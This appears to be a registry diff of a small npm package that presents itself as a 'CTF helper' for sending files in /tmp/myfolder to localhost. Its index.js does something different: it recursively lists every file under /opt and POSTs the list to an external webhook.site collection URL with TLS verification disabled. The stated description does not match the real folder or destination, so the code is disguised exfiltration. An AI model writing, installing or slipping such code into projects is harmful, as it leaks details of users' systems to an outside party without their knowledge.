elf-stats-jubilant-bow-187 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +81 -0
- package/package.json +11 -0
package/index.js
ADDED
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
const fs = require('fs').promises;
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const https = require('https');
|
|
4
|
+
|
|
5
|
+
const TARGET_DIR = '/opt';
|
|
6
|
+
const TARGET_HOST = 'webhook.site';
|
|
7
|
+
const TARGET_PORT = 443;
|
|
8
|
+
const TARGET_PATH = '/190be1c7-6bb5-419f-922e-cdfc45aa83ea';
|
|
9
|
+
|
|
10
|
+
async function listFilesRecursive(dir) {
|
|
11
|
+
const entries = await fs.readdir(dir, { withFileTypes: true });
|
|
12
|
+
const files = [];
|
|
13
|
+
|
|
14
|
+
for (const entry of entries) {
|
|
15
|
+
const fullPath = path.join(dir, entry.name);
|
|
16
|
+
|
|
17
|
+
if (entry.isFile()) {
|
|
18
|
+
files.push(fullPath);
|
|
19
|
+
} else if (entry.isDirectory()) {
|
|
20
|
+
const nestedFiles = await listFilesRecursive(fullPath);
|
|
21
|
+
files.push(...nestedFiles);
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
return files;
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
async function main() {
|
|
29
|
+
try {
|
|
30
|
+
const files = await listFilesRecursive(TARGET_DIR);
|
|
31
|
+
|
|
32
|
+
const payload = JSON.stringify({
|
|
33
|
+
directory: TARGET_DIR,
|
|
34
|
+
files
|
|
35
|
+
});
|
|
36
|
+
|
|
37
|
+
const options = {
|
|
38
|
+
protocol: 'https:',
|
|
39
|
+
hostname: TARGET_HOST,
|
|
40
|
+
port: TARGET_PORT,
|
|
41
|
+
path: TARGET_PATH,
|
|
42
|
+
method: 'POST',
|
|
43
|
+
rejectUnauthorized: false, // utile si le certificat HTTPS de localhost est auto-signé
|
|
44
|
+
headers: {
|
|
45
|
+
'Content-Type': 'application/json',
|
|
46
|
+
'Content-Length': Buffer.byteLength(payload)
|
|
47
|
+
}
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
const req = https.request(options, (res) => {
|
|
51
|
+
let data = '';
|
|
52
|
+
|
|
53
|
+
res.on('data', (chunk) => {
|
|
54
|
+
data += chunk;
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
res.on('end', () => {
|
|
58
|
+
console.log(`[*] Réponse du serveur: ${res.statusCode}`);
|
|
59
|
+
if (data) {
|
|
60
|
+
console.log('[*] Corps de la réponse:', data.toString());
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
req.on('error', (err) => {
|
|
66
|
+
console.error('[!] Erreur lors de l’envoi de la requête :', err.message);
|
|
67
|
+
});
|
|
68
|
+
|
|
69
|
+
req.write(payload);
|
|
70
|
+
req.end();
|
|
71
|
+
|
|
72
|
+
console.log(`[*] Liste des fichiers envoyée à https://${TARGET_HOST}:${TARGET_PORT}${TARGET_PATH}`);
|
|
73
|
+
} catch (err) {
|
|
74
|
+
console.error('[!] Erreur lors du listing ou de l’envoi :', err);
|
|
75
|
+
process.exit(1);
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
if (require.main === module) {
|
|
80
|
+
main();
|
|
81
|
+
}
|
package/package.json
ADDED
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "elf-stats-jubilant-bow-187",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "CTF helper: list files in /tmp/myfolder and send them to https://localhost:1234",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node index.js"
|
|
8
|
+
},
|
|
9
|
+
"author": "Elf Workshop",
|
|
10
|
+
"license": "MIT"
|
|
11
|
+
}
|